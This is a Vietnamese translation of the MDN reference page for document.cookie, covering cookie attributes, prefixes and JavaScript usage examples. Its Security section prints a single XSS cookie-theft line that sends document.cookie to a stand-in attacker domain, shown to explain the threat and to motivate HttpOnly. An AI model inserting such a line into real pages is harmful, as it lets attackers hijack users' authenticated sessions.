Document: thuộc tính cookie
Baseline
Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since July 2019.
Thuộc tính cookie của Document cho phép bạn đọc và ghi cookie liên kết với tài liệu. Nó đóng vai trò là getter và setter cho các giá trị cookie thực tế.
Note:
document.cookie có thể là nguyên nhân gây ra vấn đề hiệu suất vì đây là API đồng bộ và chặn main thread khi đọc cookie qua các tiến trình hoặc thực hiện các thao tác I/O. Nếu có thể, nhà phát triển nên sử dụng Cookie Store API không đồng bộ để quản lý cookie.
Giá trị
Một chuỗi chứa danh sách tất cả cookie được phân tách bằng dấu chấm phẩy (tức là các cặp key=value). Lưu ý rằng mỗi key và value có thể được bao quanh bởi khoảng trắng (ký tự space và tab): trên thực tế, RFC 6265 yêu cầu một khoảng trắng sau mỗi dấu chấm phẩy, nhưng một số user agent có thể không tuân thủ điều này.
Bạn cũng có thể gán cho thuộc tính này một chuỗi có dạng "key=value", chỉ định cookie cần đặt/cập nhật. Lưu ý rằng bạn chỉ có thể đặt/cập nhật một cookie mỗi lần sử dụng phương thức này. Cân nhắc thêm rằng:
-
Bất kỳ thuộc tính cookie nào sau đây có thể tùy chọn theo sau cặp key-value, mỗi thuộc tính đứng trước một dấu chấm phẩy phân cách:
-
;domain=domain(ví dụ:example.comhoặcsubdomain.example.com): Host mà cookie sẽ được gửi đến. Nếu không được chỉ định, mặc định là phần host của vị trí tài liệu hiện tại và cookie không khả dụng trên các subdomain. Nếu domain được chỉ định, các subdomain luôn được bao gồm. Trái ngược với các đặc tả trước đó, các dấu chấm đứng đầu trong tên domain bị bỏ qua, nhưng các trình duyệt có thể từ chối đặt cookie chứa các dấu chấm đó.Note: Domain phải khớp với domain của nguồn gốc JavaScript. Việc đặt cookie cho domain nước ngoài sẽ bị bỏ qua âm thầm.
-
;expires=date-in-UTCString-format: Ngày hết hạn của cookie. Nếu không chỉ địnhexpireshoặcmax-age, nó sẽ hết hạn khi kết thúc phiên.Warning: Khi quyền riêng tư của người dùng là mối quan tâm, điều quan trọng là bất kỳ triển khai web app nào cũng phải vô hiệu hóa dữ liệu cookie sau một khoảng thời gian nhất định thay vì dựa vào trình duyệt làm điều đó. Nhiều trình duyệt cho phép người dùng chỉ định rằng cookie không bao giờ hết hạn, điều này không nhất thiết an toàn.
Xem
Date.toUTCString()để được hỗ trợ định dạng giá trị này. -
;max-age=max-age-in-seconds: Tuổi tối đa của cookie tính bằng giây (ví dụ:60*60*24*365hoặc 31536000 cho một năm). -
;partitioned: Cho biết cookie nên được lưu trữ bằng partitioned storage. Xem Cookies Having Independent Partitioned State (CHIPS) để biết thêm chi tiết. -
;path=path: Giá trị của thuộc tínhPathcủa cookie (Xem Xác định nơi cookie được gửi để biết thêm thông tin). -
;samesite: Thuộc tínhSameSitecủa headerSet-Cookiecó thể được server đặt để chỉ định khi nào cookie sẽ được gửi. Các giá trị có thể làlax,stricthoặcnone(xem thêm Kiểm soát cookie bên thứ ba vớiSameSite).- Giá trị
laxsẽ gửi cookie cho tất cả các yêu cầu same-site và yêu cầu GET điều hướng top-level. Điều này đủ cho việc theo dõi người dùng, nhưng nó sẽ ngăn chặn nhiều cuộc tấn công Cross-Site Request Forgery (CSRF). Đây là giá trị mặc định trong các trình duyệt hiện đại. - Giá trị
strictsẽ ngăn cookie được trình duyệt gửi đến trang đích trong tất cả các ngữ cảnh duyệt web cross-site, ngay cả khi theo một liên kết thông thường. - Giá trị
nonetuyên bố rõ ràng rằng không có hạn chế nào được áp dụng. Cookie sẽ được gửi trong tất cả các yêu cầu—cả cross-site và same-site.
- Giá trị
-
;secure: Chỉ định rằng cookie chỉ được truyền qua giao thức an toàn.
-
-
Chuỗi giá trị cookie có thể sử dụng
encodeURIComponent()để đảm bảo chuỗi không chứa bất kỳ dấu phẩy, chấm phẩy hoặc khoảng trắng nào (không được phép trong giá trị cookie). -
Tên cookie có thể có tiền tố áp đặt các hạn chế cụ thể đối với thuộc tính của cookie trong các user agent hỗ trợ. Tất cả tiền tố cookie bắt đầu bằng dấu gạch dưới kép (
__) và kết thúc bằng dấu gạch ngang (-). Các tiền tố sau được định nghĩa:__Secure-: Cookie có tên bắt đầu bằng__Secure-phải được đặt với thuộc tínhSecurebởi một trang an toàn (HTTPS).__Host-: Cookie có tên bắt đầu bằng__Host-phải được đặt với thuộc tínhSecurebởi một trang an toàn (HTTPS). Ngoài ra, chúng không được có thuộc tínhDomainvà thuộc tínhPathphải được đặt thành/. Điều này đảm bảo các cookie như vậy chỉ được gửi đến host đã đặt chúng, chứ không phải bất kỳ host nào khác trên domain.__Http-: Cookie có tên bắt đầu bằng__Http-phải được đặt với cờSecurebởi một trang an toàn (HTTPS) và ngoài ra phải có thuộc tínhHttpOnlyđược đặt để chứng minh rằng chúng được đặt qua headerSet-Cookie.__Host-Http-: Cookie có tên bắt đầu bằng__Host-Http-phải được đặt với cờSecurebởi một trang an toàn (HTTPS) và phải có thuộc tínhHttpOnlyđược đặt để chứng minh rằng chúng được đặt qua headerSet-Cookie. Ngoài ra, chúng cũng có các hạn chế giống như cookie có tiền tố__Host-.
Note: Dấu gạch ngang được coi là một phần của tiền tố.
Note: Các cờ này chỉ có thể đặt được với thuộc tính
secure.
Note:
Thuộc tính document.cookie là một accessor property với các hàm setter và getter gốc, và do đó không phải là data property có giá trị: những gì bạn ghi không giống với những gì bạn đọc, mọi thứ luôn được trung gian bởi JavaScript interpreter.
Ví dụ
>Ví dụ 1: Sử dụng đơn giản
<button id="show">Hiện cookie</button>
<button id="clear">Xóa</button>
<div>
<code id="cookie-value"></code>
</div>
const showBtn = document.getElementById("show");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("cookie-value");
// Lưu ý rằng chúng ta đang đặt `SameSite=None;` trong ví dụ này vì ví dụ
// cần hoạt động cross-origin.
// Thông thường hơn là không đặt thuộc tính `SameSite`, dẫn đến giá trị mặc định,
// và an toàn hơn, là `SameSite=Lax;`
document.cookie = "name=Oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";
showBtn.addEventListener("click", () => {
output.textContent = `> ${document.cookie}`;
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Ví dụ 2: Lấy một cookie mẫu tên là test2
<button id="show">Hiện giá trị cookie</button>
<button id="clear">Xóa</button>
<div>
<code id="cookie-value"></code>
</div>
const showBtn = document.getElementById("show");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("cookie-value");
document.cookie = "test1=Hello; SameSite=None; Secure";
document.cookie = "test2=World; SameSite=None; Secure";
showBtn.addEventListener("click", () => {
const cookieValue = document.cookie
.split("; ")
.find((row) => row.startsWith("test2="))
?.split("=")[1];
output.textContent = `> ${cookieValue}`;
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Ví dụ 3: Chỉ làm điều gì đó một lần
Để sử dụng mã sau, vui lòng thay thế tất cả các xuất hiện của từ doSomethingOnlyOnce (tên của cookie) bằng một tên tùy chỉnh.
<button id="do-once">Chỉ làm một lần</button>
<button id="clear">Xóa</button>
<div>
<code id="output"></code>
</div>
const doOnceBtn = document.getElementById("do-once");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
doOnceBtn.addEventListener("click", () => {
if (
!document.cookie
.split("; ")
.find((row) => row.startsWith("doSomethingOnlyOnce"))
) {
document.cookie =
"doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";
output.textContent = "> Làm điều gì đó ở đây!";
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Ví dụ 4: Đặt lại cookie trước đó
<button id="reset">Đặt lại cookie chỉ một lần</button>
<button id="clear">Xóa</button>
<div>
<code id="output"></code>
</div>
const resetBtn = document.getElementById("reset");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
resetBtn.addEventListener("click", () => {
document.cookie =
"doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure";
const output = document.getElementById("reset-once");
output.textContent = "> Đã đặt lại!";
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Ví dụ 5: Kiểm tra sự tồn tại của một cookie
<button id="check">Kiểm tra cookie tồn tại</button>
<button id="clear">Xóa</button>
<div>
<code id="output"></code>
</div>
const checkBtn = document.getElementById("check");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
document.cookie = "reader=1; SameSite=None; Secure";
checkBtn.addEventListener("click", () => {
if (
document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
) {
output.textContent = '> Cookie "reader" tồn tại';
} else {
output.textContent = '> Cookie "reader" không tồn tại';
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Ví dụ 6: Kiểm tra cookie có giá trị cụ thể
<button id="check">Kiểm tra cookie có giá trị cụ thể</button>
<button id="clear">Xóa</button>
<div>
<code id="output"></code>
</div>
const checkBtn = document.getElementById("check");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
checkBtn.addEventListener("click", () => {
if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {
output.textContent = '> Cookie "reader" có giá trị là "1"';
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Bảo mật
Điều quan trọng cần lưu ý là thuộc tính path không bảo vệ cookie khỏi việc đọc trái phép từ một đường dẫn khác. Nó có thể dễ dàng bị vượt qua bằng DOM, ví dụ bằng cách tạo một phần tử <iframe> ẩn với đường dẫn của cookie, sau đó truy cập thuộc tính contentDocument.cookie của iframe này. Cách duy nhất để bảo vệ cookie là sử dụng một domain hoặc subdomain khác, do same origin policy.
Cookie thường được sử dụng trong các ứng dụng web để xác định người dùng và phiên đã xác thực của họ. Việc đánh cắp cookie từ một ứng dụng web dẫn đến việc chiếm quyền phiên của người dùng đã xác thực. Các cách phổ biến để đánh cắp cookie bao gồm sử dụng social engineering hoặc khai thác lỗ hổng cross-site scripting (XSS) trong ứng dụng:
new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;
Thuộc tính cookie HTTPOnly có thể giúp giảm thiểu cuộc tấn công này bằng cách ngăn chặn truy cập vào giá trị cookie thông qua JavaScript. Đọc thêm về Cookie và Bảo mật.
Ghi chú
- Bắt đầu từ Firefox 2, một cơ chế tốt hơn cho lưu trữ phía client là WHATWG DOM Storage.
- Bạn có thể xóa cookie bằng cách cập nhật thời gian hết hạn của nó về 0.
- Hãy nhớ rằng bạn càng có nhiều cookie, càng nhiều dữ liệu sẽ được chuyển giữa server và client cho mỗi yêu cầu. Điều này sẽ làm mỗi yêu cầu chậm hơn. Bạn nên sử dụng WHATWG DOM Storage nếu bạn định lưu dữ liệu "chỉ client".
- RFC 2965 (Phần 5.3, "Giới hạn triển khai") chỉ ra rằng không có độ dài tối đa cho kích thước key hoặc value của cookie và khuyến khích các triển khai hỗ trợ cookie lớn tùy ý. Mỗi trình duyệt sẽ có giới hạn tối đa khác nhau, hãy tham khảo tài liệu của từng trình duyệt.
Lý do cho sự bất đối xứng giữa getter và setter của thuộc tính document.cookie là do tính chất client-server của cookie, khác với các phương thức lưu trữ client-client khác (như localStorage):
-
Server báo client lưu cookie:
httpHTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT [content of the page here] -
Client gửi lại cookie đã lưu cho server:
httpGET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
Đặc tả kỹ thuật
| Specification |
|---|
| HTML> # dom-document-cookie> |